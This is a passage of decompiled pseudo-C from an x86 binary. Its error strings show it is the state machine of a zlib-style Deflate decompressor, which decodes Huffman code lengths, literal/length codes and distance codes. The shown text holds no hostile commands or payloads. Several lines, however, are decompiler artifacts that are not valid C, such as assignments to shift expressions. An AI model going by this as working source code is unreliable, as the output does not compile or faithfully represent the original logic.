												 *(__esp + 0x10) = __edx;
												__ebp = __ebp - 1;
												__eflags = __esi - 0x20;
												if(__esi < 0x20) {
													continue;
												} else {
													goto L169;
												}
												goto L370;
											}
											goto L103;
										}
										goto L370;
									case 0xe:
										L173:
										 *__edi = 0xf;
										goto L174;
									case 0xf:
										L174:
										__eax =  *(__edi + 0x40);
										 *(__esp + 0x34) = __eax;
										__eflags = __eax;
										if(__eax == 0) {
											 *__edi = 0xb;
											goto L183;
										} else {
											__eflags = __eax - __ebp;
											if(__eax > __ebp) {
												__eax = __ebp;
												 *(__esp + 0x34) = __ebp;
											}
											__ecx =  *(__esp + 0x18);
											__eflags = __eax - __ecx;
											if(__eax > __ecx) {
												__eax = __ecx;
												 *(__esp + 0x34) = __eax;
											}
											__eflags = __eax;
											if(__eax == 0) {
												goto L103;
											} else {
												__eax = memcpy( *(__esp + 0x2c), __ebx, __eax);
												__eax =  *(__esp + 0x40);
												__esp = __esp + 0xc;
												 *(__esp + 0x18) =  *(__esp + 0x18) - __eax;
												__ebx = __ebx + __eax;
												 *(__esp + 0x24) =  *(__esp + 0x24) + __eax;
												__ebp = __ebp - __eax;
												_t299 = __edi + 0x40;
												 *_t299 =  *(__edi + 0x40) - __eax;
												__eflags =  *_t299;
												 *(__esp + 0x14) = __ebx;
												goto L181;
											}
										}
										goto L370;
									case 0x10:
										__eflags = __esi - 0xe;
										if(__esi >= 0xe) {
											L191:
											__eax = __edx;
											__esi = __esi - 0xe;
											__eax = __edx & 0x0000001f;
											__edx = __edx >> 5;
											 *(__edi + 0x60) = __eax;
											__eax = __edx;
											__eax = __edx & 0x0000001f;
											__edx = __edx >> 5;
											 *(__edi + 0x64) = __eax;
											__eax = __edx;
											__eax = __edx & 0x0000000f;
											__edx = __edx >> 4;
											__eax = __eax + 4;
											 *(__esp + 0x10) = __edx;
											__eflags =  *(__edi + 0x60) - 0x11e;
											 *(__edi + 0x5c) = __eax;
											if( *(__edi + 0x60) > 0x11e) {
												L204:
												 *(__ecx + 0x18) = "too many length or distance symbols";
												 *__edi = 0x1d;
												goto L183;
											} else {
												__eflags =  *(__edi + 0x64) - 0x1e;
												if( *(__edi + 0x64) > 0x1e) {
													goto L204;
												} else {
													 *(__edi + 0x68) = 0;
													 *__edi = 0x11;
													goto L194;
												}
											}
										} else {
											while(1) {
												__eflags = __ebp;
												if(__ebp == 0) {
													goto L103;
												}
												__eax =  *__ebx & 0x000000ff;
												__ecx = __esi;
												__eax = ( *__ebx & 0x000000ff) << __cl;
												__ebx = __ebx + 1;
												__edx = __edx + __eax;
												 *(__esp + 0x14) = __ebx;
												__esi = __esi + 8;
												 *(__esp + 0x10) = __edx;
												__ebp = __ebp - 1;
												__eflags = __esi - 0xe;
												if(__esi < 0xe) {
													continue;
												} else {
													__ecx =  *(__esp + 0x48);
													goto L191;
												}
												goto L370;
											}
											goto L103;
										}
										goto L370;
									case 0x11:
										L194:
										__eax =  *(__edi + 0x68);
										__eflags =  *(__edi + 0x68) -  *(__edi + 0x5c);
										if( *(__edi + 0x68) >=  *(__edi + 0x5c)) {
											L200:
											__eflags =  *(__edi + 0x68) - 0x13;
											while( *(__edi + 0x68) < 0x13) {
												__eax =  *(__edi + 0x68);
												__ecx = 0;
												__eax =  *(0x412fb8 +  *(__edi + 0x68) * 2) & 0x0000ffff;
												 *((short*)(__edi + 0x70 + ( *(0x412fb8 +  *(__edi + 0x68) * 2) & 0x0000ffff) * 2)) = __cx;
												 *(__edi + 0x68) = 1 +  *(__edi + 0x68);
												__eflags =  *(__edi + 0x68) - 0x13;
											}
											__eax = __edi + 0x530;
											 *(__edi + 0x54) = 7;
											__ecx = __edi + 0x6c;
											 *(__edi + 0x4c) = __eax;
											 *(__edi + 0x6c) = __eax;
											__edx = __edi + 0x54;
											__edi + 0x2f0 = __edi + 0x70;
											__eax = E00410DF0(0, __edi + 0x70, 0x13, __edi + 0x6c, __edi + 0x54, __edi + 0x2f0);
											 *(__esp + 0x2c) = __eax;
											__eflags = __eax;
											if(__eax == 0) {
												 *(__edi + 0x68) = 0;
												 *__edi = 0x12;
												goto L206;
											} else {
												__ecx =  *(__esp + 0x48);
												__edx =  *(__esp + 0x10);
												 *(__ecx + 0x18) = "invalid code lengths set";
												 *__edi = 0x1d;
												goto L183;
											}
										} else {
											do {
												__eflags = __esi - 3;
												if(__esi >= 3) {
													goto L199;
												} else {
													while(1) {
														__eflags = __ebp;
														if(__ebp == 0) {
															goto L103;
														}
														__eax =  *__ebx & 0x000000ff;
														__ecx = __esi;
														__eax = ( *__ebx & 0x000000ff) << __cl;
														__ebx = __ebx + 1;
														__edx = __edx + __eax;
														 *(__esp + 0x14) = __ebx;
														__esi = __esi + 8;
														 *(__esp + 0x10) = __edx;
														__ebp = __ebp - 1;
														__eflags = __esi - 3;
														if(__esi < 3) {
															continue;
														} else {
															goto L199;
														}
														goto L370;
													}
													goto L103;
												}
												goto L370;
												L199:
												__eax =  *(__edi + 0x68);
												__edx = __edx & 0x00000007;
												__edx = __edx >> 3;
												__esi = __esi - 3;
												 *(__esp + 0x10) = __edx;
												__eax =  *(0x412fb8 +  *(__edi + 0x68) * 2) & 0x0000ffff;
												 *((short*)(__edi + 0x70 + ( *(0x412fb8 +  *(__edi + 0x68) * 2) & 0x0000ffff) * 2)) = __cx;
												 *(__edi + 0x68) = 1 +  *(__edi + 0x68);
												__eax =  *(__edi + 0x68);
												__eflags =  *(__edi + 0x68) -  *(__edi + 0x5c);
											} while ( *(__edi + 0x68) <  *(__edi + 0x5c));
											goto L200;
										}
										goto L370;
									case 0x12:
										L206:
										__eax =  *(__edi + 0x64);
										__ecx =  *(__edi + 0x68);
										__eax =  *(__edi + 0x64) +  *(__edi + 0x60);
										 *(__esp + 0x34) = __ecx;
										__eflags = __ecx - __eax;
										if(__ecx >= __eax) {
											L242:
											__eflags =  *__edi - 0x1d;
											if( *__edi == 0x1d) {
												L181:
												__edx =  *(__esp + 0x10);
												goto L182;
											} else {
												__eflags =  *((short*)(__edi + 0x270));
												if( *((short*)(__edi + 0x270)) != 0) {
													__eax = __edi + 0x530;
													 *(__edi + 0x54) = 9;
													__ecx = __edi + 0x6c;
													 *(__edi + 0x4c) = __eax;
													 *(__edi + 0x6c) = __eax;
													__edx = __edi + 0x54;
													__edi + 0x2f0 = __edi + 0x70;
													__eax = E00410DF0(1, __edi + 0x70,  *(__edi + 0x60), __edi + 0x6c, __edi + 0x54, __edi + 0x2f0);
													 *(__esp + 0x2c) = __eax;
													__eflags = __eax;
													if(__eax == 0) {
														__eax =  *(__edi + 0x6c);
														__ecx = __edi + 0x6c;
														 *(__edi + 0x50) =  *(__edi + 0x6c);
														__edx = __edi + 0x58;
														__eax = __edi + 0x2f0;
														 *(__edi + 0x58) = 6;
														 *(__edi + 0x60) =  *(__edi + 0x60) + 0x38;
														__eax = __edi + ( *(__edi + 0x60) + 0x38) * 2;
														__eax = E00410DF0(2, __edi + ( *(__edi + 0x60) + 0x38) * 2,  *(__edi + 0x64), __edi + 0x6c, __edi + 0x58, __edi + 0x2f0);
														__edx = __eax;
														 *(__esp + 0x2c) = __edx;
														__eflags = __edx;
														if(__edx == 0) {
															__edx =  *(__esp + 0x4c);
															 *__edi = 0x13;
															__eflags =  *(__esp + 0x4c) - 6;
															if( *(__esp + 0x4c) == 6) {
																__edi =  *(__esp + 0x10);
																goto L105;
															} else {
																__edx =  *(__esp + 0x10);
																__ecx =  *(__esp + 0x48);
																goto L252;
															}
														} else {
															__ecx =  *(__esp + 0x48);
															__edx =  *(__esp + 0x10);
															 *(__ecx + 0x18) = "invalid distances set";
															 *__edi = 0x1d;
															goto L183;
														}
													} else {
														__ecx =  *(__esp + 0x48);
														__edx =  *(__esp + 0x10);
														 *(__ecx + 0x18) = "invalid literal/lengths set";
														 *__edi = 0x1d;
														goto L183;
													}
												} else {
													__ecx =  *(__esp + 0x48);
													__edx =  *(__esp + 0x10);
													 *(__ecx + 0x18) = "invalid code -- missing end-of-block";
													 *__edi = 0x1d;
													goto L183;
												}
											}
										} else {
											__edi =  *(__esp + 0x10);
											do {
												__eax =  *(__esp + 0x40);
												__edx = 1;
												__ecx =  *( *(__esp + 0x40));
												__eax =  *(__esp + 0x20);
												1 << __cl = (1 << __cl) - 1;
												__edx = (0x00000001 << __cl) - 0x00000001 & __edi;
												__eax =  *( *(__esp + 0x20) + 0x4c);
												__eax =  *( *( *(__esp + 0x20) + 0x4c) + ((0x00000001 << __cl) - 0x00000001 & __edi) * 4);
												__eax = __eax >> 8;
												__ecx = __cl & 0x000000ff;
												 *(__esp + 0x38) = __eax;
												__eflags = (__cl & 0x000000ff) - __esi;
												if((__cl & 0x000000ff) <= __esi) {
													L212:
													__eax = __eax >> 0x10;
													__eflags = __dx - 0x10;
													if(__eflags >= 0) {
														if(__eflags != 0) {
															__eflags =  *(__esp + 0x3a) - 0x11;
															__edx =  *(__esp + 0x10);
															__ecx = __ah & 0x000000ff;
															if( *(__esp + 0x3a) != 0x11) {
																__edi = __ecx + 7;
																 *(__esp + 0x38) = __ecx;
																__eflags = __esi - __edi;
																if(__esi >= __edi) {
																	L233:
																	__edx = __edx >> __cl;
																	__edx = __edx & 0x0000007f;
																	__eax = (__edx & 0x0000007f) + 0xb;
																	__edx = __edx >> 7;
																	__eflags = __edx;
																	 *(__esp + 0x30) = __eax;
																	__eax = 0xfffffff9;
																	goto L234;
																} else {
																	while(1) {
																		__eflags = __ebp;
																		if(__ebp == 0) {
																			goto L103;
																		}
																		__eax =  *__ebx & 0x000000ff;
																		__ecx = __esi;
																		__eax = ( *__ebx & 0x000000ff) << __cl;
																		__ebx = __ebx + 1;
																		__edx = __edx + __eax;
																		 *(__esp + 0x14) = __ebx;
																		__esi = __esi + 8;
																		 *(__esp + 0x10) = __edx;
																		__ebp = __ebp - 1;
																		__eflags = __esi - __edi;
																		if(__esi < __edi) {
																			continue;
																		} else {
																			__ecx =  *(__esp + 0x38);
																			goto L233;
																		}
																		goto L370;
																	}
																	goto L103;
																}
															} else {
																__edi = __ecx + 3;
																 *(__esp + 0x38) = __ecx;
																__eflags = __esi - __edi;
																if(__esi >= __edi) {
																	L227:
																	__edx = __edx >> __cl;
																	__edx = __edx & 0x00000007;
																	__eax = (__edx & 0x00000007) + 3;
																	__edx = __edx >> 3;
																	 *(__esp + 0x30) = __eax;
																	__eax = 0xfffffffd;
																	L234:
																	__edi =  *(__esp + 0x20);
																	__esi = __esi + __eax;
																	__eflags = __esi;
																	 *(__esp + 0x38) = 0;
																	__eax =  *(__esp + 0x30);
																	goto L235;
																} else {
																	while(1) {
																		__eflags = __ebp;
																		if(__ebp == 0) {
																			goto L103;
																		}
																		__eax =  *__ebx & 0x000000ff;
																		__ecx = __esi;
																		__eax = ( *__ebx & 0x000000ff) << __cl;
																		__ebx = __ebx + 1;
																		__edx = __edx + __eax;
																		 *(__esp + 0x14) = __ebx;
																		__esi = __esi + 8;
																		 *(__esp + 0x10) = __edx;
																		__ebp = __ebp - 1;
																		__eflags = __esi - __edi;
																		if(__esi < __edi) {
																			continue;
																		} else {
																			__ecx =  *(__esp + 0x38);
																			goto L227;
																		}
																		goto L370;
																	}
																	goto L103;
																}
															}
														} else {
															__eax = __eax >> 8;
															__ecx = __cl & 0x000000ff;
															__ecx = (__cl & 0x000000ff) + 2;
															 *(__esp + 0x38) = __ecx;
															__eflags = __esi - __ecx;
															if(__esi >= __ecx) {
																L219:
																__edx =  *(__esp + 0x10);
																__edi =  *(__esp + 0x20);
																__ecx = __ah & 0x000000ff;
																__eax =  *(__esp + 0x34);
																__esi = __esi - (__ah & 0x000000ff);
																__edx =  *(__esp + 0x10) >> __cl;
																 *(__esp + 0x10) = __edx;
																__eflags = __eax;
																if(__eax == 0) {
																	L245:
																	__ecx =  *(__esp + 0x48);
																	 *(__ecx + 0x18) = "invalid bit length repeat";
																	 *__edi = 0x1d;
																	goto L183;
																} else {
																	 *(__esp + 0x38) = __eax;
																	__eax = __edx;
																	__eax = __edx & 0x00000003;
																	__edx = __edx >> 2;
																	__eax = __eax + 3;
																	__esi = __esi - 2;
																	 *(__esp + 0x30) = __eax;
																	L235:
																	 *(__edi + 0x64) =  *(__edi + 0x64) +  *(__edi + 0x60);
																	__eax = __eax +  *(__esp + 0x34);
																	__ebx =  *(__esp + 0x14);
																	 *(__esp + 0x10) = __edx;
																	__eflags = __eax -  *(__edi + 0x64) +  *(__edi + 0x60);
																	if(__eax >  *(__edi + 0x64) +  *(__edi + 0x60)) {
																		goto L245;
																	} else {
																		__ecx =  *(__esp + 0x30);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__edx =  *(__esp + 0x38);
																			do {
																				__eax =  *(__edi + 0x68);
																				 *((short*)(__edi + 0x70 +  *(__edi + 0x68) * 2)) = __dx;
																				 *(__edi + 0x68) = 1 +  *(__edi + 0x68);
																				__ecx = __ecx - 1;
																				__eflags = __ecx;
																			} while (__ecx != 0);
																		}
																		__ecx =  *(__esp + 0x20);
																		__edi =  *(__esp + 0x10);
																		goto L240;
																	}
																}
															} else {
																while(1) {
																	__eflags = __ebp;
																	if(__ebp == 0) {
																		goto L104;
																	}
																	__edx =  *__ebx & 0x000000ff;
																	__ecx = __esi;
																	__edx = ( *__ebx & 0x000000ff) << __cl;
																	__ebx = __ebx + 1;
																	__edi = __edi + __edx;
																	 *(__esp + 0x14) = __ebx;
																	__esi = __esi + 8;
																	 *(__esp + 0x10) = __edi;
																	__ebp = __ebp - 1;
																	__eflags = __esi -  *(__esp + 0x38);
																	if(__esi <  *(__esp + 0x38)) {
																		continue;
																	} else {
																		goto L219;
																	}
																	goto L370;
																}
																goto L104;
															}
														}
													} else {
														__eax = __eax >> 8;
														__ecx = __al & 0x000000ff;
														__eax =  *(__esp + 0x34);
														__esi = __esi - (__al & 0x000000ff);
														__edi = __edi >> __cl;
														__ecx =  *(__esp + 0x20);
														 *(__esp + 0x10) = __edi;
														 *((short*)(__ecx + 0x70 +  *(__esp + 0x34) * 2)) = __dx;
														 *(__ecx + 0x68) = 1 +  *(__ecx + 0x68);
														goto L240;
													}
												} else {
													while(1) {
														__eflags = __ebp;
														if(__ebp == 0) {
															goto L104;
														}
														__eax =  *__ebx & 0x000000ff;
														__ecx = __esi;
														__eax = ( *__ebx & 0x000000ff) << __cl;
														__edx = 1;
														__edi = __edi + (( *__ebx & 0x000000ff) << __cl);
														__ebx = __ebx + 1;
														__eax =  *(__esp + 0x40);
														__esi = __esi + 8;
														__ebp = __ebp - 1;
														 *(__esp + 0x10) = __edi;
														 *(__esp + 0x14) = __ebx;
														__ecx =  *( *(__esp + 0x40));
														__eax =  *(__esp + 0x20);
														1 << __cl = (1 << __cl) - 1;
														__edx = (0x00000001 << __cl) - 0x00000001 & __edi;
														__eax =  *( *(__esp + 0x20) + 0x4c);
														__eax =  *( *( *(__esp + 0x20) + 0x4c) + ((0x00000001 << __cl) - 0x00000001 & __edi) * 4);
														__eax = __eax >> 8;
														__ecx = __cl & 0x000000ff;
														 *(__esp + 0x38) = __eax;
														__eflags = (__cl & 0x000000ff) - __esi;
														if((__cl & 0x000000ff) > __esi) {
															continue;
														} else {
															goto L212;
														}
														goto L370;
													}
													goto L104;
												}
												goto L370;
												L240:
												__eax =  *(__ecx + 0x64);
												__edx =  *(__ecx + 0x68);
												__eax =  *(__ecx + 0x64) +  *((intOrPtr*)(__ecx + 0x60));
												 *(__esp + 0x34) = __edx;
												__eflags = __edx - __eax;
											} while (__edx < __eax);
											__edi =  *(__esp + 0x20);
											goto L242;
										}
										goto L370;
									case 0x13:
										L252:
										 *__edi = 0x14;
										goto L253;
									case 0x14:
										L253:
										__eflags = __ebp - 6;
										if(__ebp < 6) {
											L257:
											__eax =  *(__edi + 0x4c);
											__ecx =  *(__edi + 0x54);
											 *(__esp + 0x34) =  *(__edi + 0x4c);
											1 = 1 << __cl;
											__ecx =  *(__edi + 0x4c);
											(1 << __cl) - 1 = (0x00000001 << __cl) - 0x00000001 & __edx;
											 *(__edi + 0x1bc4) = 0;
											__eax =  *( *(__edi + 0x4c) + ((0x00000001 << __cl) - 0x00000001 & __edx) * 4);
											1 = 1 >> 8;
											__ecx = __cl & 0x000000ff;
											__eflags = (__cl & 0x000000ff) - __esi;
											if((__cl & 0x000000ff) <= __esi) {
												L260:
												__eflags = __al;
												if(__al == 0) {
													L267:
													__eax = __eax >> 8;
													__ecx = __cl & 0x000000ff;
													 *(__edi + 0x1bc4) =  *(__edi + 0x1bc4) + __ecx;
													__esi = __esi - __ecx;
													__edx = __edx >> __cl;
													__ecx = __eax;
													__ecx = __eax >> 0x10;
													 *(__esp + 0x10) = __edx;
													 *(__edi + 0x40) = __ecx;
													__eflags = __al;
													if(__al != 0) {
														__eflags = __al & 0x00000020;
														if((__al & 0x00000020) == 0) {
															__eflags = __al & 0x00000040;
															if((__al & 0x00000040) == 0) {
																__eax = __al & 0x000000ff;
																__eax = __al & 0xf;
																__eflags = __eax;
																 *__edi = 0x15;
																 *(__edi + 0x48) = __eax;
																goto L274;
															} else {
																__ecx =  *(__esp + 0x48);
																 *(__ecx + 0x18) = "invalid literal/length code";
																 *__edi = 0x1d;
																goto L183;
															}
														} else {
															 *(__edi + 0x1bc4) = 0xffffffff;
															 *__edi = 0xb;
															goto L182;
														}
													} else {
														 *__edi = 0x19;
														goto L182;
													}
												} else {
													__eflags = __al & 0x000000f0;
													if((__al & 0x000000f0) != 0) {
														goto L267;
													} else {
														__ecx = __eax;
														__ebx = 1;
														__ecx = __eax >> 8;
														__edx = __eax;
														__edi = __cl & 0x000000ff;
														 *(__esp + 0x30) = __eax >> 8;
														__al & 0x000000ff = (__al & 0x000000ff) + __edi;
														__eax = __eax >> 0x10;
														__ebx = 1 << __cl;
														__ecx = __edi;
														__ebx = (1 << __cl) - 1;
														 *(__esp + 0x38) = __edx;
														(0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10) = ((0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10)) >> __cl;
														__ecx =  *(__esp + 0x34);
														__ebx = (((0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10)) >> __cl) + __eax;
														__eax =  *( *(__esp + 0x34) + ((((0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10)) >> __cl) + __eax) * 4);
														__eax = __eax >> 8;
														__edi = __cl & 0x000000ff;
														 *(__esp + 0x30) = __cl & 0x000000ff;
														__edi = (__cl & 0x000000ff) + (__cl & 0x000000ff);
														__eflags = (__cl & 0x000000ff) + (__cl & 0x000000ff) - __esi;
														if((__cl & 0x000000ff) + (__cl & 0x000000ff) <= __esi) {
															L266:
															__edi =  *(__esp + 0x20);
															__ebx =  *(__esp + 0x14);
															__ecx = __dh & 0x000000ff;
															__edx =  *(__esp + 0x10);
															__edx =  *(__esp + 0x10) >> __cl;
															__esi = __esi - __ecx;
															__eflags = __esi;
															 *(__edi + 0x1bc4) = __ecx;
															goto L267;
														} else {
															while(1) {
																__eflags = __ebp;
																if(__ebp == 0) {
																	goto L103;
																}
																__ebx =  *(__esp + 0x14);
																__ecx = __esi;
																__edi = 1;
																__esi = __esi + 8;
																__ebp = __ebp - 1;
																__eax =  *__ebx & 0x000000ff;
																__ebx = __ebx + 1;
																 *(__esp + 0x10) =  *(__esp + 0x10) + __eax;
																__eax =  *(__esp + 0x3a) & 0x0000ffff;
																 *(__esp + 0x14) = __ebx;
																__ebx = __dh & 0x000000ff;
																__dl & 0x000000ff = __ebx + (__dl & 0x000000ff);
																__edi = 1 << __cl;
																__ecx = __ebx;
																(1 << __cl) - 1 = (0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10);
																((0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10)) >> __cl = (((0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10)) >> __cl) + ( *(__esp + 0x3a) & 0x0000ffff);
																 *(__esp + 0x20) =  *( *(__esp + 0x20) + 0x4c);
																__eax =  *( *( *(__esp + 0x20) + 0x4c) + ((((0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10)) >> __cl) + ( *(__esp + 0x3a) & 0x0000ffff)) * 4);
																__eax = __eax >> 8;
																__cl & 0x000000ff = __ebx + (__cl & 0x000000ff);
																__eflags = __ebx + (__cl & 0x000000ff) - __esi;
																if(__ebx + (__cl & 0x000000ff) > __esi) {
																	continue;
																} else {
																	goto L266;
																}
																goto L370;
															}
															goto L103;
														}
													}
												}
											} else {
												while(1) {
													__eflags = __ebp;
													if(__ebp == 0) {
														goto L103;
													}
													__eax =  *__ebx & 0x000000ff;
													__ecx = __esi;
													__eax = ( *__ebx & 0x000000ff) << __cl;
													__ebx = __ebx + 1;
													__ecx =  *(__edi + 0x54);
													__edx = __edx + __eax;
													__eax =  *(__edi + 0x4c);
													__esi = __esi + 8;
													 *(__esp + 0x10) = __edx;
													__ebp = __ebp - 1;
													__edx = 1;
													 *(__esp + 0x14) = __ebx;
													1 << __cl = (1 << __cl) - 1;
													__edx = (0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10);
													__eax =  *( *(__edi + 0x4c) + ((0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10)) * 4);
													__ecx = __eax;
													__edx =  *(__esp + 0x10);
													__eax >> 8 = __cl & 0x000000ff;
													__eflags = (__cl & 0x000000ff) - __esi;
													if((__cl & 0x000000ff) > __esi) {
														continue;
													} else {
														goto L260;
													}
													goto L370;
												}
												goto L103;
											}
										} else {
											__eflags =  *(__esp + 0x18) - 0x102;
											if( *(__esp + 0x18) < 0x102) {
												goto L257;
											} else {
												__eax =  *(__esp + 0x24);
												_push( *(__esp + 0x28));
												 *(0xc + __ecx) = __eax;
												__eax =  *(__esp + 0x1c);
												 *(__ecx + 0x10) =  *(__esp + 0x1c);
												 *__ecx = __ebx;
												 *(__ecx + 4) = __ebp;
												_push(__ecx);
												 *(__edi + 0x38) = __edx;
												 *(__edi + 0x3c) = __esi;
												__eax = E00411250();
												__ecx =  *(__esp + 0x50);
												__esp = __esp + 8;
												__eflags =  *__edi - 0xb;
												__edx =  *(__edi + 0x38);
												__esi =  *(__edi + 0x3c);
												__eax =  *(0xc + __ecx);
												__ebx =  *__ecx;
												__ebp =  *(__ecx + 4);
												 *(__esp + 0x24) =  *(0xc + __ecx);
												__eax =  *(__ecx + 0x10);
												 *(__esp + 0x18) = __eax;
												 *(__esp + 0x14) = __ebx;
												 *(__esp + 0x10) = __edx;
												if( *__edi == 0xb) {
													 *(__edi + 0x1bc4) = 0xffffffff;
												}
												goto L183;
											}
										}
										goto L370;
									case 0x15:
										L274:
										__ecx =  *(__edi + 0x48);
										__eflags = __ecx;
										if(__ecx == 0) {
											L280:
											__eax =  *(__edi + 0x40);
											 *(__edi + 0x1bc8) =  *(__edi + 0x40);
											 *__edi = 0x16;
											goto L281;
										} else {
											__eflags = __esi - __ecx;
											if(__esi >= __ecx) {
												L279:
												__eax = 1;
												__esi = __esi - __ecx;
												1 << __cl = (1 << __cl) - 1;
												__eax = (0x00000001 << __cl) - 0x00000001 & __edx;
												__edx = __edx >> __cl;
												 *(__edi + 0x40) =  *(__edi + 0x40) + __eax;
												_t539 = __edi + 0x1bc4;
												 *_t539 =  *(__edi + 0x1bc4) + __ecx;
												__eflags =  *_t539;
												 *(__esp + 0x10) = __edx;
												goto L280;
											} else {
												while(1) {
													__eflags = __ebp;
													if(__ebp == 0) {
														goto L103;
													}
													__eax =  *__ebx & 0x000000ff;
													__ecx = __esi;
													__eax = ( *__ebx & 0x000000ff) << __cl;
													__ebx = __ebx + 1;
													__ecx =  *(__edi + 0x48);
													__edx = __edx + __eax;
													__esi = __esi + 8;
													 *(__esp + 0x10) = __edx;
													__ebp = __ebp - 1;
													 *(__esp + 0x14) = __ebx;
													__eflags = __esi - __ecx;
													if(__esi < __ecx) {
														continue;
													} else {
														goto L279;
													}
													goto L370;
												}
												goto L103;
											}
										}
										goto L370;
									case 0x16:
										L281:
										__eax =  *(__edi + 0x50);
										__ecx =  *(__edi + 0x58);
										 *(__esp + 0x34) =  *(__edi + 0x50);
										1 = 1 << __cl;
										__ecx =  *(__edi + 0x50);
										(1 << __cl) - 1 = (0x00000001 << __cl) - 0x00000001 & __edx;
										__eax =  *( *(__edi + 0x50) + ((0x00000001 << __cl) - 0x00000001 & __edx) * 4);
										1 = 1 >> 8;
										__ecx = __cl & 0x000000ff;
										__eflags = (__cl & 0x000000ff) - __esi;
										if((__cl & 0x000000ff) <= __esi) {
											L284:
											__eflags = __al & 0x000000f0;
											if((__al & 0x000000f0) != 0) {
												L289:
												__ebx =  *(__esp + 0x14);
												__eax = __eax >> 8;
												__ecx = __cl & 0x000000ff;
												 *(__edi + 0x1bc4) =  *(__edi + 0x1bc4) + __ecx;
												__esi = __esi - __ecx;
												__edx = __edx >> __cl;
												 *(__esp + 0x10) = __edx;
												__eflags = __al & 0x00000040;
												if((__al & 0x00000040) == 0) {
													__ecx = __eax;
													 *__edi = 0x17;
													__ecx = __eax >> 0x10;
													__eax = __al & 0x000000ff;
													__eax = __al & 0xf;
													__eflags = __eax;
													 *(__edi + 0x44) = __ecx;
													 *(__edi + 0x48) = __eax;
													goto L292;
												} else {
													__ecx =  *(__esp + 0x48);
													 *(__ecx + 0x18) = "invalid distance code";
													 *__edi = 0x1d;
													goto L183;
												}
											} else {
												__ecx = __eax;
												__ebx = 1;
												__ecx = __eax >> 8;
												__edx = __eax;
												__edi = __cl & 0x000000ff;
												 *(__esp + 0x30) = __eax >> 8;
												__al & 0x000000ff = (__al & 0x000000ff) + __edi;
												__eax = __eax >> 0x10;
												__ebx = 1 << __cl;
												__ecx = __edi;
												__ebx = (1 << __cl) - 1;
												 *(__esp + 0x38) = __edx;
												(0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10) = ((0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10)) >> __cl;
												__ecx =  *(__esp + 0x34);
												__ebx = (((0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10)) >> __cl) + __eax;
												__eax =  *( *(__esp + 0x34) + ((((0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10)) >> __cl) + __eax) * 4);
												__eax = __eax >> 8;
												__edi = __cl & 0x000000ff;
												 *(__esp + 0x30) = __cl & 0x000000ff;
												__edi = (__cl & 0x000000ff) + (__cl & 0x000000ff);
												__eflags = (__cl & 0x000000ff) + (__cl & 0x000000ff) - __esi;
												if((__cl & 0x000000ff) + (__cl & 0x000000ff) <= __esi) {
													L288:
													__edi =  *(__esp + 0x20);
													__ecx = __dh & 0x000000ff;
													__edx =  *(__esp + 0x10);
													__esi = __esi - __ecx;
													__edx =  *(__esp + 0x10) >> __cl;
													_t579 = __edi + 0x1bc4;
													 *_t579 =  *(__edi + 0x1bc4) + __ecx;
													__eflags =  *_t579;
													goto L289;
												} else {
													while(1) {
														__eflags = __ebp;
														if(__ebp == 0) {
															goto L103;
														}
														__ebx =  *(__esp + 0x14);
														__ecx = __esi;
														__edi = 1;
														__esi = __esi + 8;
														__ebp = __ebp - 1;
														__eax =  *__ebx & 0x000000ff;
														__ebx = __ebx + 1;
														 *(__esp + 0x10) =  *(__esp + 0x10) + __eax;
														__eax =  *(__esp + 0x3a) & 0x0000ffff;
														 *(__esp + 0x14) = __ebx;
														__ebx = __dh & 0x000000ff;
														__dl & 0x000000ff = __ebx + (__dl & 0x000000ff);
														__edi = 1 << __cl;
														__ecx = __ebx;
														(1 << __cl) - 1 = (0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10);
														((0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10)) >> __cl = (((0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10)) >> __cl) + ( *(__esp + 0x3a) & 0x0000ffff);
														 *(__esp + 0x20) =  *( *(__esp + 0x20) + 0x50);
														__eax =  *( *( *(__esp + 0x20) + 0x50) + ((((0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10)) >> __cl) + ( *(__esp + 0x3a) & 0x0000ffff)) * 4);
														__eax = __eax >> 8;
														__cl & 0x000000ff = __ebx + (__cl & 0x000000ff);
														__eflags = __ebx + (__cl & 0x000000ff) - __esi;
														if(__ebx + (__cl & 0x000000ff) > __esi) {
															continue;
														} else {
															goto L288;
														}
														goto L370;
													}
													goto L103;
												}
											}
										} else {
											while(1) {
												__eflags = __ebp;
												if(__ebp == 0) {
													goto L103;
												}
												__eax =  *__ebx & 0x000000ff;
												__ecx = __esi;
												__eax = ( *__ebx & 0x000000ff) << __cl;
												__ebx = __ebx + 1;
												__ecx =  *(__edi + 0x58);
												__edx = __edx + __eax;
												__eax =  *(__edi + 0x50);
												__esi = __esi + 8;
												 *(__esp + 0x10) = __edx;
												__ebp = __ebp - 1;
												__edx = 1;
												 *(__esp + 0x14) = __ebx;
												1 << __cl = (1 << __cl) - 1;
												__edx = (0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10);
												__eax =  *( *(__edi + 0x50) + ((0x00000001 << __cl) - 0x00000001 &  *(__esp + 0x10)) * 4);
												__ecx = __eax;
												__edx =  *(__esp + 0x10);
												__eax >> 8 = __cl & 0x000000ff;
												__eflags = (__cl & 0x000000ff) - __esi;
												if((__cl & 0x000000ff) > __esi) {
													continue;
												} else {
													goto L284;
												}
												goto L370;
											}
											goto L103;
										}
										goto L370;
									case 0x17:
										L292:
										__ecx =  *(__edi + 0x48);
										__eflags = __ecx;
										if(__ecx == 0) {
											L298:
											 *__edi = 0x18;
											goto L299;
										} else {
											__eflags = __esi - __ecx;
											if(__esi >= __ecx) {
												L297:
												__eax = 1;
												__esi = __esi - __ecx;
												1 << __cl = (1 << __cl) - 1;
												__eax = (0x00000001 << __cl) - 0x00000001 & __edx;
												__edx = __edx >> __cl;
